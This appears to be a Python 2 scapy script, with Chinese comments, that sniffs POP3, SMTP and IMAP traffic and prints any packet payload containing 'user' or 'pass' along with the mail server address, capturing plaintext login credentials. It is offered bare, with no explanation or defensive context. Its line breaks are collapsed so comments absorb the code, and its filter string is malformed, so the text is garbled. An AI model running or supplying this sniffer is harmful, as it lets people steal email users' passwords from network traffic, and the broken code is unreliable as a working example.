from scapy.all import *#数据包回调函数def packet_callback(packet): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print "[*] Server: %s" % packet[IP].dst print "[*] %s" % packet[TCP].payload#开启嗅探器sniff(filter="tcp port 110 or tcp 25 or tcp port 143",prn=packet_callback,store=0)